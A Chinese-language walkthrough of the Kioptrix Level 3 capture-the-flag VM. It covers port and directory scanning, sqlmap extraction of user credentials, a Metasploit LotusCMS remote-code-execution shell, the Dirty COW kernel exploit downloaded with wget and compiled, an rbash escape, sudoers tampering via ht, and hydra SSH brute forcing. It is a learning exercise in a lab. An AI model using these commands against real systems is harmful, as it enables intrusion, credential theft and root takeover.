KIOPTRIX: LEVEL 3
挑战一下这个靶场:
扫描一下:
打开看一下:
到处点点,查看一下浏览器插件,看看配置信息:
可以看到是一个2.2.8的Apache
。然后发现了一个疑似sql注入点
:
尝试sql注入
尝试万能密码:
admin' or 1=1 --+
admin' or '1'='1
不行,跑一下sqlmap
:
不行,跑不出来。。。他的意思大概是:
这个报错信息表示sqlmap在测试所有参数时,没有发现任何可以注入的参数1234。这可能是由于以下原因:
测试的参数实际上不可注入。
测试的级别(--level)和风险(--risk)可能不够高,导致某些潜在的注入点没有被测试到。你可以尝试提高这两个选项的值来进行更多的测试。
如果你怀疑存在某种保护机制(例如WAF),你可以尝试使用--tamper选项(例如--tamper=space2comment)来绕过这些保护机制。
你也可以尝试切换--random-agent,这可能有助于绕过某些基于User-Agent的保护机制
这是初级靶场,感觉应该不是这个地方想让我们突破。
端口扫描
nmap -sn 192.168.244.1/24 --min-rate 8000 -r
这是探测靶场的存活性的,比较快,然后监测一下相关信息:
nmap -A 192.168.244.139 -oA scan_result
# 在Nmap命令中,-oA选项用于同时保存扫描结果到三种不同的文件格式:普通文本、XML和grepable
# 22/tcp open ssh OpenSSH 4.7p1 Debian 8ubuntu1.2 (protocol 2.0)
# 80/tcp open http Apache httpd 2.2.8 ((Ubuntu) PHP/5.2.4-2ubuntu5.6 with Suhosin-Patch)
# Running: Linux 2.6.X
# OS CPE: cpe:/o:linux:linux_kernel:2.6
# OS details: Linux 2.6.9 - 2.6.33
# Network Distance: 1 hop
# Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
还可以使用rustscan
进行扫描,差生文具多,请容我再试试:
rustscan -a 192.168.244.139 -- -sV -oA scan
本质上其实是一样的,监测以后发现开放了一个22
端口,一个80
端口,意味着我们可以进行 ssh 连接。
目录扫描
老样子,差生文具多,这里可以使用到的工具大概有gobuster
,dirb
,dirsearch
,Nikto
还有feroxbuster
,我们先使用一下最后一个rust做出来的工具。
feroxbuster -u http://192.168.244.139/ -x* -w /usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -t 200 -d 2 -f -C 404 --no-state -o feroxbuster.txt
# -u, --url <URL>:要扫描的目标URL12。
# -x, --extensions <FILE_EXTENSION>...:要搜索的文件扩展名,例如php和html。
# -w, --wordlist <WORDLIST>:用于扫描的字典文件的路径。
# -t, --threads <THREADS>:并发线程数,此处为200。
# -d, --depth <DEPTH>:扫描的目录深度,此处为2。
# -f, --follow-redirects:跟随重定向。
# -C, --status-codes <STATUS_CODE>...:要报告的HTTP状态码,此处为404。
# --no-state:不保存扫描状态。
# -o, --output <OUTPUT>:输出文件的路径,此处为feroxbuster.txt。
再尝试一下dirsearch
:
dirsearch -u http://192.168.244.139/ -e* -x 404,403
找到了一些icons
,gallery
,cache
等文件,而且在 dirsearch 扫描结果中发现了phpmyadmin
这个目录,这意味着我们可能可以进行利用。
踩点
发现了一个登录页面:
看来我们的目的就明确了,寻找账号密码从这里进入,查看一下其他网站,看看有无注入点:
在这里进行访问的时候发生了跳转,尝试将跳转的地址换为ip:
http://kioptrix3.com/gallery/p.php/5 # 发生跳转
http://192.168.244.139/gallery/p.php/5 # 正常显示
发现可以正常访问,修改一下host文件:
vim /etc/hosts
# 127.0.0.1 localhost
# 127.0.1.1 kali
# 192.168.144.139 kioptrix3.com
# ::1 localhost ip6-localhost ip6-loopback
# ff02::1 ip6-allnodes
# ff02::2 ip6-allrouters
然后进行访问,访问异常,清理一下缓存:
然后再次打开,还是不行,尝试重启浏览器,刷新dns缓存:
sudo /etc/init.d/networking restart
# service networking restart
发现还生效,ping一下发现地址是对的,但是丢包百分百。。。重启一下kali:
还是不行。。。。尝试修改/etc/hosts.conf
:
multi on --> order hosts,bind
再次打开,我擦还是不行,经过我多番尝试,发现还是之前打的ip地址不对。。。。太粗心了。。。。
修改以后打开:
正常打开了,这可真是一个大乌龙。。。。
到处翻翻,发现了一个传get参数的页面:
试探一下:
找到一个注入点,sqlmap试试:
sqlmap -u http://kioptrix3.com/gallery/gallery.php?id=1
继续查看一下数据库
sqlmap -u http://kioptrix3.com/gallery/gallery.php?id=1 --dbs
查看一下数据库中的表有些啥:
sqlmap -u http://kioptrix3.com/gallery/gallery.php?id=1 --tables -D gallery
sqlmap -u http://kioptrix3.com/gallery/gallery.php?id=1 --tables -D information_schema
sqlmap -u http://kioptrix3.com/gallery/gallery.php?id=1 --tables -D mysql
接着往下查询:
sqlmap -u http://kioptrix3.com/gallery/gallery.php?id=1 --columns -D gallery
然后进一步查看一下相关信息:
sqlmap -u http://kioptrix3.com/gallery/gallery.php?id=1 –dump -D gallery -T dev_accounts -C “username,password”
sqlmap -u http://kioptrix3.com/gallery/gallery.php?id=1 –dump -D gallery -T gallarific_users -C “username,password”
使用上面两个账号dreg
和loneferret
可以进行ssh远程连接。
这里直接 ssh username@IP会报错
报错是因为OpenSSH 7.0以后的版本不再支持ssh-dss (DSA)算法
ssh -oHostKeyAlgorithms=+ssh-dss dreg@192.168.244.139
ssh -oHostKeyAlgorithms=+ssh-dss loneferret@192.168.244.139
# ssh:这是Secure Shell的缩写,是一种网络协议,用于在不安全的网络中提供安全的远程登录和其他安全网络服务。
# -oHostKeyAlgorithms=+ssh-dss:这是一个选项,用于指定在进行密钥交换时使用的主机密钥算法。
# 在这里,+ssh-dss表示添加ssh-dss算法到默认的主机密钥算法列表中。
获取普通用户权限。
尝试CMS漏洞
Lotus CMS 漏洞利用
打开login网页的时候可发现是采用 Lotus CMS 的:
尝试寻找一下相关漏洞:(这里直接使用metasploit是因为我之前已经在searchsploit里找到了这个利用点了)
利用失败:
可能是因为这个payload原因,多试几个,``是可以的。
总的流程是这样的:
msfconsole
search lotuscms
use exploit/multi/http/lcms_php_exec
# No payload configured, defaulting to php/meterpreter/reverse_tcp
show options
set RHOSTS 192.168.244.140
set URI "/"
show payloads
set payload payload/generic/shell_bind_tcp
run # exploit
选出合适的,再次进行利用:
这里参考了这位师傅的解答:https://zhuanlan.zhihu.com/p/654675099
这里我不是很清楚这个URI参数设置是干啥的,尝试去除:
也可以正常利用,回头有时间再去学习一下!
提权
查找一下相关文件,看看有无我们需要的:
找到了数据库的用户名密码:
打开看一下,可以找到我们之前找到的:
内核提权
查看一下内核版本和信息:
uname -a
# Linux Kioptrix3 2.6.24-24-server #1 SMP Tue Jul 7 20:21:17 UTC 2009 i686 GNU/Linux
lsb_release -a
# No LSB modules are available.
# Distributor ID: Ubuntu
# Description: Ubuntu 8.04.3 LTS
# Release: 8.04
# Codename: hardy
cat /proc/version
# Linux version 2.6.24-24-server (buildd@palmer) (gcc version 4.2.4 (Ubuntu 4.2.4-1ubuntu4)) #1 SMP Tue Jul 7 20:21:17 UTC 2009
查到内核的版本了,搜索一下相关漏洞:
尝试一下Linux Kernel 2.6.22 < 3.9 - 'Dirty COW' 'PTRACE_POKEDATA' Race Condition Privilege Escalation (/etc/passwd Method) | linux/local/40839.c
这个漏洞:
在本地打开一下python的简易http服务:
# local
python3 -m http.server 1234
# remote
wget http://192.168.244.133:1234/40839.c
gcc -pthread 40839.c -o 40839 -lcrypt
./40839 password
# 新用户密码,这里使用的是Mast3r,其实都行
获取flag:
ls -lah /root/
cat /root/Congrats.txt
#
Good for you for getting here.
Regardless of the matter (staying within the spirit of the game of course)
you got here, congratulations are in order. Wasn't that bad now was it.
Went in a different direction with this VM. Exploit based challenges are
nice. Helps workout that information gathering part, but sometimes we
need to get our hands dirty in other things as well.
Again, these VMs are beginner and not intented for everyone.
Difficulty is relative, keep that in mind.
The object is to learn, do some research and have a little (legal)
fun in the process.
I hope you enjoyed this third challenge.
Steven McElrea
aka loneferret
http://www.kioptrix.com
Credit needs to be given to the creators of the gallery webapp and CMS used
for the building of the Kioptrix VM3 site.
Main page CMS:
http://www.lotuscms.org
Gallery application:
Gallarific 2.1 - Free Version released October 10, 2009
http://www.gallarific.com
Vulnerable version of this application can be downloaded
from the Exploit-DB website:
http://www.exploit-db.com/exploits/15891/
The HT Editor can be found here:
http://hte.sourceforge.net/downloads.html
And the vulnerable version on Exploit-DB here:
http://www.exploit-db.com/exploits/17083/
Also, all pictures were taken from Google Images, so being part of the
public domain I used them.
SUID提权
先查找一下看看是否可以SUID提权:
find / -perm -u=s -type f 2 > /dev/null
# find / -user root -perm -4000 -print 2>/dev/null
# find / -user root -perm -4000 -exec ls -ldb {}
会报错:
-rbash: /dev/null: restricted: cannot redirect output
这是因为 RBASH 是一种特殊的 shell,它限制了用户的一些操作和权限
尝试绕过一下,相关文章可以参考:Linux提权之rbash绕过
rbash$ ftp
ftp> !/bin/bash
再次查询一下相关的SUID权限文件:
/usr/lib/eject/dmcrypt-get-device
/usr/lib/openssh/ssh-keysign
/usr/lib/apache2/suexec
/usr/lib/pt_chown
/usr/bin/arping
/usr/bin/mtr
/usr/bin/newgrp
/usr/bin/chfn
/usr/bin/gpasswd
/usr/bin/sudo
/usr/bin/at
/usr/bin/sudoedit
/usr/bin/chsh
/usr/bin/passwd
/usr/bin/traceroute6.iputils
/usr/local/bin/ht
/usr/sbin/pppd
/usr/sbin/uuidd
/lib/dhcp3-client/call-dhclient-script
/bin/fusermount
/bin/ping
/bin/mount
/bin/umount
/bin/ping6
/bin/su
这里没有看到常用的提权命令,原理可以参考这位师傅的文章:谈一谈Linux与suid提权,但是换了一个用户登录以后有个文件会提示ht可能可以利用,就是/usr/local/bin/ht
,尝试搜索一下,找到了一个师傅的总结:Linux通过第三方应用提权实战总结
┌──(kali㉿kali)-[~]
└─$ ssh -oHostKeyAlgorithms=+ssh-dss loneferret@192.168.244.139
loneferret@192.168.244.139's password:
Linux Kioptrix3 2.6.24-24-server #1 SMP Tue Jul 7 20:21:17 UTC 2009 i686
The programs included with the Ubuntu system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.
Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
applicable law.
To access official Ubuntu documentation, please visit:
http://help.ubuntu.com/
Last login: Sat Apr 16 08:51:58 2011 from 192.168.1.106
loneferret@Kioptrix3:~$ ls
checksec.sh CompanyPolicy.README
loneferret@Kioptrix3:~$ cat CompanyPolicy.README
Hello new employee,
It is company policy here to use our newly installed software for editing, creating and viewing files.
Please use the command 'sudo ht'.
Failure to do so will result in you immediate termination.
DG
CEO
然后我们尝试运行sudo ht
,发现报错:
上网查找相关资料,猜测是由于之前的内核提权脚本将root名字给覆盖了。。。重新下载一下靶场:
成功了!
sudo -l # 查看权限
export TERM = xterm
sudo ht
按F3
打开:
输入/etc/sudoers
:
进入以后修改为:
这样无需密码即可完成所有操作,再按F2
保存,ctrl+z
退出。
拿到root。
一些尝试
在看其他师傅解决办法的过程中我发现了一些不一样的思路,在此进行记录:
爆破
https://www.c0dedead.io/kioptrix-level-3-walkthrough/
这个师傅发现了,新加入成员的姓名,于是进行了爆破:
使用hydra
爆破ssh的密码:
hydra -l loneferret -P /usr/share/wordlists/rockyou.txt 192.168.244.140 -t 4 ssh
这里如果报错就这么操作:
这是john自带字典,需要进行解压一下。
但是运行的时候还是发生了报错,意思是,我们客户端缺少相关的加密算法:
以后有机会再进行尝试吧,我在多个地方查看到这个问题的解决方式,均未解决。
github搜索相关漏洞
https://infosecwriteups.com/vulnhub-kioptrix-level-3-1-2-3-a7ff58cbfb8f
这个感觉在 searchsploit 里见过,查了一下,又不太一样。。。
# 本地设置监听
nc -lvvp 1234
# 利用脚本
./lotusRCE.sh 192.168.244.140
获得一个 www-data 的账号,继续尝试提权即可。